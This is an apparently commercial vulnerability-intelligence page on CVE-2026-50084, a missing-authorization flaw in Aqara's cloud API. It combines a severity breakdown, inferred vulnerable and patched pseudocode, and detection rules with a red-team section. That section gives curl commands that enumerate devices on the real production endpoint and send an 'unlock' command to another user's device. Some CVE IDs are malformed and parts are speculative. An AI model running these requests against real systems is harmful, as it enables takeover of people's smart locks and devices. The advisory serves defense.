☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Aqara logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 9.6 🐛 CWE-862
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2026-50084

CVE-2026-50084 Missing Authorization in Aqara
📅 PUBLISHED: 2026-06-12 16:16 UTC 🔄 UPDATED: 2026-10-09 05:41 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix ⏳ Vendor-claimed fix: v0 — source: runZero. UNVERIFIED · pending independent confirmation. how verification works →
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.37%
👁️
0.37% probability
9.3× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1548
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: China License: Commercial
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
9.6
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2026-50084 is a critical missing authorization vulnerability (CWE-862) in the Aqara Cloud Production API, specifically at the endpoint open-cn.aqara.com/v3.0/open/api. The flaw allows any valid developer token to access any user account, bypassing proper authorization checks. With a CVSS score of 9.6, this vulnerability can be chained with CVE-2026-50082, CVE-50083, and CVE-50085 to achieve fully unauthenticated remote takeover of Aqara IoT devices. No public exploit code or patch is currently available, but the risk is severe due to the widespread use of Aqara smart home devices.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not in a package manager (NPM, PyPI, Go, Ruby) but in a cloud API service. However, the impact extends to the entire Aqara device ecosystem, which relies on this API for device management and control. Any compromise of the API can lead to unauthorized control of smart locks, sensors, and other IoT devices, posing significant physical security risks.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – Exploitable remotely over the internet.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): Low (L) – Attacker needs a valid developer token, which can be obtained through other means (e.g., CVE-2026-50082).
  • User Interaction (UI): None (N) – No user action needed.
  • Scope (S): Changed (C) – The vulnerable component (API) impacts resources beyond its security scope (user accounts and devices).
  • Confidentiality (C): High (H) – Full access to user data and device states.
  • Integrity (I): High (H) – Ability to modify device configurations and control devices.
  • Availability (A): None (N) – No direct denial of service.

Threat Level: Critical. The combination of low attack complexity, network exploitability, and high impact on confidentiality and integrity makes this a top-priority vulnerability for Aqara users and security teams.

Deep Dive & Mechanics

The Aqara Cloud Production API is designed to allow developers to interact with Aqara devices via authorized tokens. The vulnerability lies in the authorization logic: the API does not verify that the token used to access a resource belongs to the account that owns that resource. Instead, it only checks that the token is valid (i.e., not expired or revoked). This means an attacker with any valid developer token can:

  1. Enumerate user accounts or device IDs.
  2. Access sensitive data such as device status, user profiles, and historical logs.
  3. Send commands to devices (e.g., unlock doors, disable alarms) if the token has sufficient permissions.

The flaw is a classic instance of Missing Authorization (CWE-862), where the system fails to enforce access controls on a per-resource basis. The API likely uses a single token for all operations, but does not map the token to a specific user or device scope.

Chaining with other CVEs:

  • CVE-2026-50082: Likely allows obtaining a valid developer token without authentication.
  • CVE-50083 & CVE-50085: May provide additional privileges or bypass other controls, enabling full device takeover.

Vulnerable vs. Patched Code

Since no patch is available, we can only infer the vulnerable code pattern. The API likely contains logic similar to:

# Vulnerable pseudocode
def get_device_data(token, device_id):
    if not is_valid_token(token):
        return 401
    # Missing: check if token belongs to the user who owns device_id
    device = db.query("SELECT * FROM devices WHERE id = ?", device_id)
    return device

A patched version would include an authorization check:

# Patched pseudocode
def get_device_data(token, device_id):
    if not is_valid_token(token):
        return 401
    user_id = get_user_from_token(token)
    device = db.query("SELECT * FROM devices WHERE id = ? AND owner_id = ?", device_id, user_id)
    if not device:
        return 403
    return device

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

  • A valid developer token (obtained via CVE-2026-50082 or other means).
  • Knowledge of a target user's device ID (can be enumerated via API).

Exploitation Steps:

  1. Obtain a valid token (e.g., via phishing, leaked credentials, or chaining with CVE-2026-50082).
  2. Enumerate device IDs by sending requests to the API endpoint:
    curl -X GET "https://open-cn.aqara.com/v3.0/open/api/devices" \
         -H "Authorization: Bearer <VALID_TOKEN>"
    
    This may return all devices accessible to the token, but due to the vulnerability, it may return devices from other accounts.
  3. Access a specific device without proper authorization:
    curl -X GET "https://open-cn.aqara.com/v3.0/open/api/device/12345" \
         -H "Authorization: Bearer <VALID_TOKEN>"
    
  4. Send commands to the device (e.g., unlock a smart lock):
    curl -X POST "https://open-cn.aqara.com/v3.0/open/api/device/12345/command" \
         -H "Authorization: Bearer <VALID_TOKEN>" \
         -H "Content-Type: application/json" \
         -d '{"command": "unlock"}'
    

Lab Setup:

  • Use a test Aqara device (e.g., a smart plug) in an isolated network.
  • Set up a local proxy (e.g., Burp Suite) to intercept and modify API requests.
  • Obtain a developer token from Aqara's developer portal (for testing only).

Blue Team (Defense & Detection)

Detection Strategies:

  • Monitor API logs for requests where a single token accesses multiple unrelated user accounts or devices.
  • Alert on unusual command patterns (e.g., mass unlock commands across different accounts).
  • Implement rate limiting and anomaly detection on the API.

Honeypot:

  • Deploy a fake Aqara device that logs all API interactions and triggers alerts when unauthorized commands are received.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • Unusual API requests to open-cn.aqara.com/v3.0/open/api from a single IP address targeting multiple device IDs.
    • Repeated 401 or 403 responses followed by successful 200 responses for different accounts.
  • Log IOCs:
    • API access logs showing the same token used for devices belonging to different users.
    • Commands sent to devices that are not associated with the token's owner.
  • File IOCs:
    • No specific file-based IOCs; this is a cloud API vulnerability.

Detection Engineering

YARA Rule

rule Detect_Aqara_API_Abuse {
    meta:
        description = "Detects API requests exploiting CVE-2026-50084 missing authorization"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2026-50084"
    strings:
        $api_endpoint = "open-cn.aqara.com/v3.0/open/api"
        $token_header = "Authorization: Bearer"
        $device_id = "/device/"
    condition:
        $api_endpoint and $token_header and $device_id
}

Sigma Rule

title: Aqara API Missing Authorization Exploitation
id: a1b2c3d4-e5f6-7890-abcd-ef1234567890
status: experimental
description: Detects potential exploitation of CVE-2026-50084 by monitoring for API requests that access multiple device IDs with the same token.
author: Valters IT
logsource:
    category: web
    product: aqara_cloud_api
detection:
    selection:
        http.url|contains: "open-cn.aqara.com/v3.0/open/api"
        http.method: "GET"
        http.header|contains: "Authorization: Bearer"
    condition: selection
    timeframe: 5m
    aggregation:
        - field: http.header.Authorization
          function: distinct_count
          value: http.url
          condition: gt 10
falsepositives:
    - Legitimate multi-device management by a single user
level: high
tags:
    - attack.t1190
    - cve.2026.50084

Suricata Rule

alert http any any -> any any (msg:"Aqara API Missing Authorization Exploitation"; flow:to_server; http.method; content:"GET"; http.uri; content:"/v3.0/open/api/device/"; http.header; content:"Authorization: Bearer"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable developer API access if not required for business operations.
  2. Implement proper authorization checks on the server side: verify that the token's owner matches the resource owner.
  3. Apply the principle of least privilege to developer tokens; restrict them to specific devices or actions.

Long-term Fixes:

  • Patch the API to include resource-level authorization (e.g., OAuth scopes).
  • Audit all API endpoints for similar missing authorization flaws.
  • Monitor for chained exploits (CVE-2026-50082, CVE-50083, CVE-50085) and apply patches as they become available.

Workarounds:

  • Use network segmentation to limit API access to trusted IPs.
  • Enable multi-factor authentication (MFA) for developer accounts.
  • Regularly rotate developer tokens and revoke unused ones.

Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-50084/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.